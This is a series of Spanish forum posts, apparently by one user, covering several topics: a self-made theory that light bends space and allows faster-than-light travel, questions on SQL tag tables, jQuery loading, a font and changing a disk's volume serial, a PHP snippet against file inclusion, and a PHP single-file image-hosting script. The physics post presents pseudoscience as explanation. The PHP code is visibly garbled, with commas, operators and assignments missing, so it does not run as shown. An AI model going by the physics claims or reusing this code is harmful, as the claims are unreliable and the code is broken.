por ejemplo, digamos que ves un vehiculo con los focos encendidos, eso quiere decir que si la luz fuera fisicamente palpable podrias ver dos embudos gigantes enfrente del vehiculo.


para mi la luz dobla de tal manera el espacio que mientras mas te acercas a la luz mas rapido la llegas a ver pero no porque viaje mas rapido sino porque la luz te dobla a ti.

por eso los cientificos siempre decian que era imposible viajar mas rapido que la luz porque para la ciencia la luz es constante y plana, no es gravedad pero la dobla y no te das cuenta porque todo lo dobla sin afectar a la gravedad tu no ves el doblamiento pero la luz si.

Por eso....
si tu corrieras al lado de la luz en el mismo sentido no podras escapar segun la ciencia aunque trates de correr mas rapido, se dice que la velocidad es constante vayas a la velocidad que vayas.

Físicamente si tu vas corriendo al lado de un vehiculo a 5km/h cuando el vehiculo va a 10km/h esto quiere decir que hay una diferencia de velocidad de 5km/h pero la luz no porque cientificamente auqnue tu te alejes o te acerques a la luz siempre la verás a la misma velocidad venir hacia ti.


Pero, que pasa si estoy a 5 galaxias de distancia de una explosión de una super nova? cuanto se tardaría en llegar aquella luz? pero si me acerco y ahora estoy a solo 1 galaxia de distancia? no la vería mas rápido? pero cientificamente no es así, pero según la teoría del embudo si lo es ya que mientras estés cerca la velocidad es constante porque te atrapa el doblamiento que genera la luz, pero al escapar de dicho campo esta ley se invalida pudiendo alcanzar velocidades superiores al de la luz sin la necesidad de transformar la masa.


imagina un mundo donde cada haz de luz dobla el espacio al igual que el espacio se curva eso quiere decir que nada de lo que vemos es liso o mantiene su espacio sino que todo es curvo solo que no lo notamos.


Esto explicaría el porqué el universo se dobla y se expande, debido a la luz, por esto todo es curvo, de hecho la energía es la que da la luz y el universo basado en la energía sería lógico que se doblase y expandiese de esta manera.

Esta teoría tiene como 3 o 4 meses pero hace muy poco algunos cientificos dicen haber encontrado particulas que son capaces de viajar mas rápidos que la luz:
https://foro.elhacker.net/noticias/el_cern_encuentra_particulas_que_se_mueven_mas_rapido_que_la_luz-t339812.0.html

De hecho por eso creo que la teoria de einstein tiene algunos agujeros y muchos lo creen tambien, de hecho para mi mientras estemos "dentro del rango del doblamiento de la luz" puedes aplicar todas las teorias que conocemos, pero al salir de esa curvatura entonces la fisica como la conocemos debería ser totalmente invalida.

Atraves de esta teoría muchas cosas tendrían explicación y sentido.

¿A mayor velocidad mayor la masa?
Digamos que estas a la mitad del embudo o sea del doblamiento de la luz, esto quiere decir que mientra mas cerca estes mas cerca se hace la luz porque ese efecto te atrae aun mas rapido pero no es que uno ande mas rapido que el otro. Si tratas de ir a la misma velocidad de la luz de forma cerca esto quiere decir que tendrias que ir mas rapido que la luz para poder contrarrestar el efecto de doblamiento y por esto la masa aumenta, pero si fuera aun mas rapido deberia contrarrestarse este efecto de aumento de masa, te liberas de este campo de doblamiento y aumento de masa por velocidad.

Es como cuando una nave espacial despega de la tierra a medida que se aleja, pero como todas las pruebas que se han hecho estan en laboratirios y cosas asi entonces es practicamente imposible distinguir este efecto de doblamiento porque no lo notamos, pero si estas mismas pruebas se hicieran a escala gigante deberian dar otros resultados.

Es como si nosotros vivieramos en un mundo hecho por astillas de metal unidas por una fuerza x-1 (que une la materia), ahora digamos que al lado de nuestro mundo nos ponen un himan gigante llamada fuerza x-2 (luz) que hace doblar a todo nuestro mundo pero como estamos hechos de cerilla de metal entonces nosotros también nos doblamos y nuestras cosas también, pero no lo notamos porque solo vemos atraves del tacto, no hay vista.

Si señores :D mientras estamos sentados frente a nuestra pc nosotros somos estirados, encogidos, doblados, como si fueramos un chicle :D pero no lo notamos debido a que todo es estirado y encogido al igual que nosotros, pero deberíamos notarlo al ir mas rápido que la luz.

¿Pero, entonces es imposible escapar de la luz? porque la luz está en todos lados.
Pues depende de que luz hablemos, si la luz del sol, de mi habitación o de la pc, de la pc puedes escapar pero la del sol no y cuando dejas de ver el led de tu computadora debido a la distancia.

esto podría comprobarse pero no se a que escala, por ejemplo digamos que tenemos 3 lasers y 2 sensores:



En la prueba 2 el sensor 2 debería detectar la luz del laser 3 a una velocidad normal predecible atraves de un laboratorio.
Pero en la prueba 1 si pones un laser (laser 1) en la misma trayectoria del laser 2 (laser 2) entonces las distancias entre ambas deberían ser menores doblando el espácio que hay en medio pero solo válida para la luz, esto quiere decir que el sensor de la prueba 1 debería detectar unas millonesimas mas rápido la luz del laser 2 que la segunda prueba de un solo laser (laser 3).

No se si alguien habrá hecho este experimento alguna ves y no se a que escala habría que realizar esto para comprobar esta teoría, talves el espacio de una habitación y un laser convencional no sea suficiente para detectar la diferencia de velocidad, talves haga falta un espacio de 299.792.458 de kilometros con un laser que alcance ambos extremos para hacer una prueba de un haz de luz en 1 segundo y comparar los tiempos de diferencia. Talves pueda ser menos si existen los instrumentos precisos que puedan detectar tan corto tiempo de velocidades y hacer pruebas de talves 2 metros con miles de millones de milesimas de segundo.

El único problema es que el sensor debería estar en la misma posición que el laser 1 para poder detectarse.

De ser comprobado y si hay diferencia de tiempo entonces quiere decir que esta teoria del doblamiento que ejerce la luz sería válida y comprobada y respondería muchisimas cosas en la actualidad.

¿Que opinan?

Edito-----------------
acabo de ver algunas teorias basadas en cientificos famosos que dicen que la luz dobla efectivamente el espacio :D pero ninguno que hable sobre el efecto de tiempo de este doblamiento como lo planteé acá.

--------------------
De hecho según esta teoría:
[youtube=425,350]http://www.youtube.com/watch?v=aXzZfGrdcM8&feature=related[/youtube]
podría apoyar la mia ya que si nos movemos al comienzo del big bang podremos ver que detras de la explosión hubo una luz que capturó todo y fue tan fuerte que esta luz fue la que hizo verse mas rápida al cmienzo y llegar hasta el límite de horizonte pero solo debido al doblamiento generado por la misma luz y la causa de la expansión del universo, no tan solo la fuerza de la explosión sino el doblamiento de la luz.

Esto quiere decir que tenemos una esfera que es el universo pero esta esfera no se expande sino que nosotros nos contraemos con relación al punto central y relativamente podemos ver hacia afuera que todo se expande. Esto podría dar un número determinado de espácio total y lo único que se mueve dentro es una vista hacia al horizonte escapando del doblamiento de la luz causada por el big bang.

Esto concuerda con la primera teoria de einstein que dice que el universo se estaba contrayendo pero refutado por un observatorio que mostraban galaxias alejandose y de ahi el cambio en sus formulas y problemas de planeación y equilibrio.

En cambio con esta teoría del embudo y la esfera que se contrae confirmaría dichas primeras teorias y lo que ahora poco se está descubriendo.

No saben cuanto me duele la cabeza de estar estudiando cosas, leyendo, escuchando, parece que me fuera a explotar pero me siento un poco emocionado aprendiendo cosas nuevas xD, en fin, ya son las 7am me voy a dormir, buenas noches.
#264
Holas, tengo un pequeño problema sin solucionar, quería ver si alguien me puede dar una mano porque no encuentro información al respecto en gg y no se si tendrá algún nombre o función específica que lo haga.

Tengo la tabla frutas
Tengo una tabla categorías
Tengo una tabla contenido de categorías

En categorías tengo hartas cosas como por ejemplo paises por donde ha pasado.

El problema es el siguiente:
La fruta puede llevar mas de una etiqueta, digamos 3 y que además pasó por 2 paises, asi que ya tengo 2 categorías con 5 items, el problema es como relaciono esto con la tabla de frutas para poder hacer una busqueda a futuro?

Pensé en agregar una columna por cáda categoría en la tabla de la fruta pero no me sirve porque un administrador puede sacar o agregar categorías
El problema es que puede tener varias categorías o ninguna.

Tampoco me sirve serializar las categorías o separarlas por comas porque después necesito hacer un filtro de busqueda por checkboxes y no puedo estar buscando con like '%,$id,%' porque es muy impreciso e incomodo.

Que pasa si deseo listar todas las frutas que tengan la estampa 1,2 y 3 y que hayan pasado por mexico y chile?

Que puedo hacer en éste caso?

Estructura:
Código (sql) [Seleccionar]
CREATE TABLE IF NOT EXISTS `categorias` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `nombre` char(255) NOT NULL,
 PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `categorias`
--

INSERT INTO `categorias` (`id`, `nombre`) VALUES
(1, 'paises_recorridos'),
(2, 'estampas');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `contenido_categorias`
--

CREATE TABLE IF NOT EXISTS `contenido_categorias` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `id_categoria` int(11) NOT NULL,
 `nombre` char(255) NOT NULL,
 PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=9 ;

--
-- Volcar la base de datos para la tabla `contenido_categorias`
--

INSERT INTO `contenido_categorias` (`id`, `id_categoria`, `nombre`) VALUES
(1, 1, 'Chile'),
(2, 1, 'México'),
(3, 1, 'Estados unidos'),
(4, 1, 'Argentina'),
(5, 2, 'Estampa de supermegacalidad'),
(6, 2, 'Estampa de madurez alta'),
(7, 2, 'Estampa sin fertilizante'),
(8, 2, 'Estampa de brillo');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `frutas`
--

CREATE TABLE IF NOT EXISTS `frutas` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `nombre` varchar(255) NOT NULL,
 PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;

--
-- Volcar la base de datos para la tabla `frutas`
--

INSERT INTO `frutas` (`id`, `nombre`) VALUES
(1, 'Pera'),
(2, 'Manzana'),
(3, 'Kiwi'),
(4, 'Plátano');


Claro que no lo quiero para frutas ni paises xD es solo un ejemplo de lo que quiero hacer con otros datos y tags con categorías de tags.

Creo haber visto esto en wordpress, mientras tanto le daré un vistazo al código fuente.

Edito:------------------------------------
Ya vi wordpress y lo que hace es crear dos tablas nuevas con relación de datos:
Estructura term_relationships
Estructura term_taxonomy


Habrá algo más cómodo y rápido que hacer una tabla como pasarela de relaciones?
#265
PHP / Evitar LFI de forma fácil
20 Julio 2011, 07:18 AM
Pues antiguamente filtraba todo atraves de expresiones regulares pero se me ocurrió un método muchisimo mas efectivo y mas corto.

Código (php) [Seleccionar]
if(in_array(($mod= './modules/'.$_GET['module'],'/index.php'), glob('./modules/*/index.php'))){
   include($mod);
}else{
   echo 'El módulo no existe.';
}


Fácil, córto, límpio, sencillo.... a mas de alguien le va a servir, saludos.
#266
Hola, actualmente estaba haciendo un proyecto donde con jquery estaba usando document ready para detectar el término de la carga de la página web y comenzar a cargar una galería de imágenes.

El problema es que son casi 20 imágenes y en total son como 3mb y algunas conexiones bajas como las de usb modem tardan muchisimo en cargar y por lo tanto las imágenes del diseño de la web no terminan de cargar tampoco hasta que carga la galería.

Esto me da a entender que document ready al igual que onload desde body me indica el término de carga del DOM pero no del documento completo,... o sea..
Quiero detectar desde javascript cuando termina de cargar todos los recursos de la web incluyendo imágenes, hojas de estilo, todo y después comenzar a cargar la galería para que no me desordene todo el diseño.

No me sirve darle un id a cada imágen, hay por ahi un plugin que a todos los tags de img y src les da un onload y los cuenta para detectar cuando todo carga pero no detecta las hojas de estilo, por lo tanto no es una detección real.

Alguien tiene alguna idea? en flash funciona perfectamente pero quería buscar el reemplazo para jquery porque no todos los disñeos son iguales y eso me significaría hacer un flash por web y no me conviene por el tiempo y desuso.
#267
Hola, estaba haciendo un diseño y quería usar este tipo de letra:


El verde de arriba que dice doble click.
Alguien sabrá cual fuente es o cual se le podrá asemejar?
Por el momento estoy buscando en webs de fuentes aver si la puedo encontrar aunque ya llevo un buen rato.

Gracias al que me pueda dar una mano :)
#268
Actualmente algunos hosting dan espacio ilimitado pero un detalle que nunca nos fijamos es que cuando lo compramos vemos en el cpanel un indicador el cual nos indica el límite de número de archivos   :xD y eso en parte nos hecha por tierra todo el plan de hacer cosas como hosting de archivos, imágenes, etc.

Otra alternativa era alojar los archivos dentro de la base de datos codificados en base64 pero eso causaría una sobrecarga significativa si las visitas son numerosas.

Por lo tanto ideé una forma de alojar nuestros archivos de la siguiente manera:

Lo que vamos a hacer es crear un solo archivo como base de datos y le vamos a ir agregando al final todos los archivos de forma binaria, uno tras otro y de esta forma podremos alojar todos nuestros archivos en uno solo.

Algunos dirán que si la base de datos es enorme tendremos problemas de memoria,... pues no debido a que el script que haremos tomará el archivo y posicionará el puntero en el bite correspondiente a la imágen y luego obtendrá la cantidad de bites necesarios y luego finalizará.
Esto lo he probado con un iso de casi 3GB, he descargado solo 1MB a partir del bite que está posicionado en 500MB hasta 1MB después y el script anda rapidisimo, en menos de 0,2 segundos lo obtiene completamente y te lo entrega sin problemas ni uso excesivo de memoria ya que no cargará los 3GB sino solo 1MB.

Cómo límite vamos a configurar nuestro script para que se pueda subir y descargar archivos de hasta 2MB.

Código (php) [Seleccionar]
<?php
/* Default config */
$sys = array(
'db' => '.ht_dbimages'/* Database */
'self_script' => (isset($_SERVER['HTTPS']) == true 'https' 'http' '://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']),
'start' => 0/* Bite start */
'length' => 0/* Bites length */
'extension' => '.dat'/* File extension */
'max_length' => 2000000/* Max upload/download file (2MB) */
'finish_poiner' => 0,
'finish_length' => 0,
'finish_extension' => 'jpg',
'totalsizedb' => 0,
'err' => false,
'headerdb' => "DBIMG\x00\x01"
);
/* Re-config... */
if(!file_exists($sys['db']))
file_put_contents($sys['db'], $sys['headerdb']);
$sys['totalsizedb'] = filesize($sys['db']);

if(
$_FILES){
/* Manage errors */
if((int)$_FILES['img']['size'] > (int)$sys['max_length'])
$sys['err'] = 'El archivo es demasiado grande.';
if(!exif_imagetype($_FILES['img']['tmp_name']))
$sys['err'] = 'El archivo no es una imágen.';
/* Save file */
if(!$sys['err']){
$sys['finish_pointer'] = (int)$sys['totalsizedb'];
$sys['finish_length'] filesize($_FILES['img']['tmp_name']);
$sys['finish_extension'] explode('.'$_FILES['img']['name']);
$sys['finish_extension'] substr($sys['finish_extension'][count($sys['finish_extension']) - 1], 05);
file_put_contents($sys['db'], file_get_contents($_FILES['img']['tmp_name']), FILE_APPEND LOCK_EX);
}

}elseif(isset(
$_GET['data']) and (strlen($_GET['data']) > 0)){
/* Split data */
$data $_GET['data'];
if(str_replace('/'''$data) != $data){
$data explode('/'$data);
$data $data[count($data) - 1];
}
$data explode('_'$data);
$sys['start'] = (int)$data[0];
$data explode('.'$data[1]);
$sys['length'] = (int)$data[0];
$sys['extension'] = $data[count($data) - 1];
/* Manage errors */
if($sys['length'] > $sys['max_length'])
$sys['err'] = 'El archivo es demasiado grande.';
if($sys['start'] < 1)
$sys['err'] = 'El archivo no existe.';
if(($sys['start'] + $sys['length']) > $sys['totalsizedb'])
$sys['err'] = 'El archivo no existe.';
$tmpf tempnam(0'');
file_put_contents($tmpffile_get_contents($sys['db'], NULLNULL$sys['start'], $sys['length']));
if(!exif_imagetype($tmpf))
$sys['err'] = 'El archivo no es una imágen.';
/* Get file */
if(!$sys['err']){
header('Content-Type: image/'.substr($sys['extension'], 05));
header('Content-Length: '.(int)$sys['length']);
/* MAX Cache */
header('Last-Modified: Tue, 03 Jul 2001 06:00:00 GMT');
header('Expires: Tue, 03 Jul 2500 06:00:00 GMT');
echo file_get_contents($tmpf);
exit;
}

}
?>


<?php if($sys['err']){ ?>
Error: <?php echo $sys['err']; ?><hr />
<?php }elseif((int)$sys['finish_pointer'] > 0){ ?>
File saved:
<a target="_blank" href="<?php echo ($outfile dirname($sys['self_script']).'/'.(int)$sys['finish_pointer'].'_'.(int)$sys['finish_length'].'.'.$sys['finish_extension']); ?>">
<?php echo $outfile?>
</a><hr />
<?php ?>
<form action="<?php echo $sys['self_script']; ?>" method="post" enctype="multipart/form-data">
Image: <input type="file" name="img" /> <input type="submit" value="Upload" />
</form>


Ahora el archivo subido nos quedará así:
/500_10.jpg
donde 500 es el bite de inicio, 10 es el tamaño de bites y jpg es la extensión.

Para interpretar esto necesitamos un htaccess:
# MiniHostingIMG V1.0 by DrawCoders
Options -Indexes
ErrorDocument 404 "El archivo no existe <a href='javascript:history.go(-1);'>Volver</a>"
RewriteEngine on
RewriteCond %{REQUEST_URI} !(.*)index.php$
RewriteRule ^(.*)$ index.php?data=$1


Si se fijan el error 404 le puse el contenido directo (que ustedes pueden modificar o poner una url) y el index en cualquier parte para que no de problemas al poner nuestro sistema en un subdirectorio y no tengamos que editar todo manualmente.

Recuerden que deben dar permisos de escritura a la base de datos.
El nombre de la base de datos le puse que comenzara en .ht... porque por defecto el servidor apache impide la visualización directa de estos archivos porque supuestamente son de configuración.

Ejemplo de prueba momentaneo:
http://www.webcomparte.com/lab/hotingimg/




Además le puse un header para el caché, de esta forma la gente cargará una sola ves la imágen impidiendo la sobrecarga.

El diseño se lo ponen ustedes a su antojo.
Cualquier duda me la escriben.

Saludos.
#269
Creo que esto definitivamente va a reemplazar la tecnología actual touch de contacto físico sobre la pantalla a lasers simplemente tal como en las pelis xD



Recientemente estudiantes de la Universidad de Texas A&M presentaron ZeroTouch, un sistema basado en un marco con sensores infrarrojos y LEDs para gestionar el reconocimiento multi-punto. Esto significa que no utiliza un membrana resistiva o capacitiva transparente para dar capacidades táctiles a alguna superficie, incluso puede dar el soporte para manipulación 3D sin necesidad de cámaras.

Jonathan Moeller del Laboratorio de Interfaces Ecológicas describe el sistema como un marco que disparan miles de rayos de luz (invisible) para detectar cualquier cosa que se cruza. ZeroTouch incorpora 256 sensores infrarrojos que se conectan al marco y se comunican a la computadora.

    "Cuando estos rayos se interrumpen, significa que algo ha tocado la pantalla. Podemos visualizar cualquier objeto dentro del marco con la reconstrucción de la malla y la interrupción de haces".

Además de ser un interesante sistema de tacto espacial al vacío – que incluso puede dar una experiencia de profundidad – también se puede montar sobre una pantalla de computadora convencional y convertirla en una superficie multitouch.

Los desarrolladores señalan que ZeroTouch no requiere presión de mano o dedos, lo que reduce la fatiga muscular.

Por cierto, el módulo original estaba basado experimentos previos de Moeller con Arduino. Actualmente el marco cuenta con 32 módulos HappyFunTouch v2.1  que integra 1 LED y 8 sensores infrarrojos.

[youtube=425,350]http://www.youtube.com/watch?v=cq2Ng14dV6E&feature=player_embedded[/youtube]

Fuentes:
http://www.domain-b.com/technology/20110516_zerotouch.html
http://blog.drawcoders.com/2011/05/16/zerotouch-desarrollan-en-sistema-multitactil-basado-en-la-interrupcion-haces-de-luz/
#270
Estaba buscando algunos tutoriales sobre como cambiar el id de hardware de un disco duro.

Encontré la forma de obtenerlo pero necesitaba encontrar uno para modificarlo.

Alguien tiene alguna idea?

La función para obtener el id es el siguiente:
Código (vbnet) [Seleccionar]
Private Function GetIdHardware() As String
        Dim objWMIService As Object = GetObject("winmgmts:\\.\root\cimv2")
        Dim colItems As Object = objWMIService.ExecQuery("select VolumeSerialNumber from Win32_LogicalDisk where DeviceID = 'C:'")
        Dim objItem As Object
        For Each objItem In colItems
            Return objItem.VolumeSerialNumber.ToString
            Exit For
        Next
        Return ""
    End Function


Podría ser que pueda ejecutar un set value en ves de select al igual que una sql query?
Hay un software llamado volumeid que funciona en modo consola pero no quiero embalarlo y utilizarlo ya que quiero hacerlo en mi própio code.

Gracias.